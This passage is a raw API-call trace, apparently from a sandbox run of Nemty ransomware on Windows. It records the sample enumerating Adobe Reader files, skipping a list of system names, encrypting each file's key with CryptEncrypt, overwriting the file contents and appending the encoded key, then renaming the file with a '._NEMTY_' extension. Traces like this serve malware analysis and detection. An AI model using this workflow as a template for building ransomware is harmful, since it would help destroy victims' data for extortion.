(HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0215.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0215.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6340408 [0215.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x166) returned 0x63491c8 [0215.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340408 | out: hHeap=0x4f90000) returned 1 [0215.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0215.752] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fr_FR_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fr_fr_preeuro.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fr_FR_PREEURO.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fr_fr_preeuro.txt._nemty_kgobjgd_")) returned 1 [0215.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63491c8 | out: hHeap=0x4f90000) returned 1 [0215.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340310 | out: hHeap=0x4f90000) returned 1 [0215.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0215.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0215.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0215.752] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f341800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x67c2, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.he.txt", cAlternateFileName="DI503B~1.TXT")) returned 1 [0215.752] lstrcmpiW (lpString1="DisplayLanguageNames.he.txt", lpString2=".") returned 1 [0215.752] lstrcmpiW (lpString1="DisplayLanguageNames.he.txt", lpString2="..") returned 1 [0215.752] lstrcmpiW (lpString1="DisplayLanguageNames.he.txt", lpString2="...") returned 1 [0215.753] lstrcmpiW (lpString1="DisplayLanguageNames.he.txt", lpString2="windows") returned -1 [0215.753] lstrcmpiW (lpString1="DisplayLanguageNames.he.txt", lpString2="$RECYCLE.BIN") returned 1 [0215.753] lstrcmpiW (lpString1="DisplayLanguageNames.he.txt", lpString2="rsa") returned -1 [0215.753] lstrcmpiW (lpString1="DisplayLanguageNames.he.txt", lpString2="NTDETECT.COM") returned -1 [0215.753] lstrcmpiW (lpString1="DisplayLanguageNames.he.txt", lpString2="ntldr") returned -1 [0215.753] lstrcmpiW (lpString1="DisplayLanguageNames.he.txt", lpString2="MSDOS.SYS") returned -1 [0215.753] lstrcmpiW (lpString1="DisplayLanguageNames.he.txt", lpString2="IO.SYS") returned -1 [0215.753] lstrcmpiW (lpString1="DisplayLanguageNames.he.txt", lpString2="boot.ini") returned 1 [0215.753] lstrcmpiW (lpString1="DisplayLanguageNames.he.txt", lpString2="boot.ini") returned 1 [0215.753] lstrcmpiW (lpString1="DisplayLanguageNames.he.txt", lpString2="AUTOEXEC.BAT") returned 1 [0215.753] lstrcmpiW (lpString1="DisplayLanguageNames.he.txt", lpString2="ntuser.dat") returned -1 [0215.753] lstrcmpiW (lpString1="DisplayLanguageNames.he.txt", lpString2="desktop.ini") returned 1 [0215.753] lstrcmpiW (lpString1="DisplayLanguageNames.he.txt", lpString2="CONFIG.SYS") returned 1 [0215.753] lstrcmpiW (lpString1="DisplayLanguageNames.he.txt", lpString2="RECYCLER") returned -1 [0215.753] lstrcmpiW (lpString1="DisplayLanguageNames.he.txt", lpString2="BOOTSECT.BAK") returned 1 [0215.753] lstrcmpiW (lpString1="DisplayLanguageNames.he.txt", lpString2="bootmgr") returned 1 [0215.753] lstrcmpiW (lpString1="DisplayLanguageNames.he.txt", lpString2="programdata") returned -1 [0215.753] lstrcmpiW (lpString1="DisplayLanguageNames.he.txt", lpString2="appdata") returned 1 [0215.753] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.753] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.he.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0215.753] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.753] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.he.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.he.txt", lpUsedDefaultChar=0x0) returned 27 [0215.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.753] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0215.753] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.he.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0215.753] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.753] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.he.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.he.txt", lpUsedDefaultChar=0x0) returned 27 [0215.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0215.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.753] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.753] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.he.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0215.753] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.753] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.he.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.he.txt", lpUsedDefaultChar=0x0) returned 27 [0215.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.753] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.754] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.he.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0215.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0215.754] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.he.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.he.txt", lpUsedDefaultChar=0x0) returned 27 [0215.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0215.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0215.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0215.754] Sleep (dwMilliseconds=0x5) [0215.761] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x343dccf0, dwHighDateTime=0x1d561e8)) [0215.761] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x343dccf0, dwHighDateTime=0x1d561e8)) [0215.761] GetLastError () returned 0x0 [0215.762] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.762] GetLastError () returned 0x0 [0215.762] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0215.762] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.762] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.762] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0215.762] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0215.762] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0215.762] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0215.762] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e5dc | out: pszString="5X4e/ekhk4PPYps9Eb4QZCXBluAz1E2R0YQajB5qOAaB3rAoFVhKrv2pJRxvKhK+\r\nUWeZf5q/K+4+acZQ0Bm+e7eqy/YZLpQDfCZIhbQcUpjZK/2rQlTeKy+SGT76n8IP\r\nLCVuFpd74aH0YY7XEkQ8A2d37nrwn5Mf0PGo0k51C3nNr/wYLwAEco6ZQ2b93V5F\r\nJ73edjVYKTfOvVD1ujcchJM3ApYvPKUH4M3vQgfP3lOlDhb9dAcolRRTwwqjI8Yg\r\nnyIudolBX31pQohbe2jZrah2MW2I9vlQ+m7n6wYCpKCeCnH7SIUNLbpDIbYJYRf8\r\niCk9PJWe32p0gESEpcusJw==\r\n", pcchString=0x653e5dc) returned 1 [0215.762] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0215.762] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.762] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.762] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0215.762] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0215.762] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0215.762] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.he.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.he.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0215.763] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=26562) returned 1 [0215.763] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x67c0) returned 0x6352c48 [0215.763] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.763] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x67c0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x67c0, lpOverlapped=0x0) returned 1 [0215.766] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.766] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x67c0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x67c0, lpOverlapped=0x0) returned 1 [0215.766] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0215.766] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=26562, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x67c2 [0215.766] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0215.766] CloseHandle (hObject=0x2e8) returned 1 [0215.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0215.766] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0215.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.766] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0215.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.767] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.767] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0215.767] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0215.767] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0215.767] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.767] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.he.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.he.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.he.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.he.txt._nemty_kgobjgd_")) returned 1 [0215.767] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0215.767] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0215.767] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0215.767] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.767] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.768] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.768] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0215.768] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0215.768] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0215.768] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.768] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f341800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x67c2, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.he_IL.txt", cAlternateFileName="DI97E6~1.TXT")) returned 1 [0215.768] lstrcmpiW (lpString1="DisplayLanguageNames.he_IL.txt", lpString2=".") returned 1 [0215.768] lstrcmpiW (lpString1="DisplayLanguageNames.he_IL.txt", lpString2="..") returned 1 [0215.768] lstrcmpiW (lpString1="DisplayLanguageNames.he_IL.txt", lpString2="...") returned 1 [0215.768] lstrcmpiW (lpString1="DisplayLanguageNames.he_IL.txt", lpString2="windows") returned -1 [0215.768] lstrcmpiW (lpString1="DisplayLanguageNames.he_IL.txt", lpString2="$RECYCLE.BIN") returned 1 [0215.768] lstrcmpiW (lpString1="DisplayLanguageNames.he_IL.txt", lpString2="rsa") returned -1 [0215.768] lstrcmpiW (lpString1="DisplayLanguageNames.he_IL.txt", lpString2="NTDETECT.COM") returned -1 [0215.768] lstrcmpiW (lpString1="DisplayLanguageNames.he_IL.txt", lpString2="ntldr") returned -1 [0215.768] lstrcmpiW (lpString1="DisplayLanguageNames.he_IL.txt", lpString2="MSDOS.SYS") returned -1 [0215.768] lstrcmpiW (lpString1="DisplayLanguageNames.he_IL.txt", lpString2="IO.SYS") returned -1 [0215.768] lstrcmpiW (lpString1="DisplayLanguageNames.he_IL.txt", lpString2="boot.ini") returned 1 [0215.768] lstrcmpiW (lpString1="DisplayLanguageNames.he_IL.txt", lpString2="boot.ini") returned 1 [0215.768] lstrcmpiW (lpString1="DisplayLanguageNames.he_IL.txt", lpString2="AUTOEXEC.BAT") returned 1 [0215.768] lstrcmpiW (lpString1="DisplayLanguageNames.he_IL.txt", lpString2="ntuser.dat") returned -1 [0215.768] lstrcmpiW (lpString1="DisplayLanguageNames.he_IL.txt", lpString2="desktop.ini") returned 1 [0215.768] lstrcmpiW (lpString1="DisplayLanguageNames.he_IL.txt", lpString2="CONFIG.SYS") returned 1 [0215.768] lstrcmpiW (lpString1="DisplayLanguageNames.he_IL.txt", lpString2="RECYCLER") returned -1 [0215.768] lstrcmpiW (lpString1="DisplayLanguageNames.he_IL.txt", lpString2="BOOTSECT.BAK") returned 1 [0215.768] lstrcmpiW (lpString1="DisplayLanguageNames.he_IL.txt", lpString2="bootmgr") returned 1 [0215.768] lstrcmpiW (lpString1="DisplayLanguageNames.he_IL.txt", lpString2="programdata") returned -1 [0215.768] lstrcmpiW (lpString1="DisplayLanguageNames.he_IL.txt", lpString2="appdata") returned 1 [0215.768] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.768] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.he_IL.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.768] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.768] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.he_IL.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.he_IL.txt", lpUsedDefaultChar=0x0) returned 30 [0215.768] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.768] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0215.768] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.he_IL.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.768] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.768] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.he_IL.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.he_IL.txt", lpUsedDefaultChar=0x0) returned 30 [0215.769] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.769] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0215.769] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.769] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.769] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.he_IL.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.769] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.769] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.he_IL.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.he_IL.txt", lpUsedDefaultChar=0x0) returned 30 [0215.769] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.769] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.769] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.he_IL.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.769] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0215.769] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.he_IL.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed58, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.he_IL.txt", lpUsedDefaultChar=0x0) returned 30 [0215.769] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.769] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0215.769] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.769] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0215.769] Sleep (dwMilliseconds=0x5) [0215.783] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x34402e50, dwHighDateTime=0x1d561e8)) [0215.783] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x34402e50, dwHighDateTime=0x1d561e8)) [0215.783] GetLastError () returned 0x0 [0215.783] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.783] GetLastError () returned 0x0 [0215.783] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0215.784] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.784] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.784] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0215.784] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0215.784] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0215.784] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0215.784] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e5dc | out: 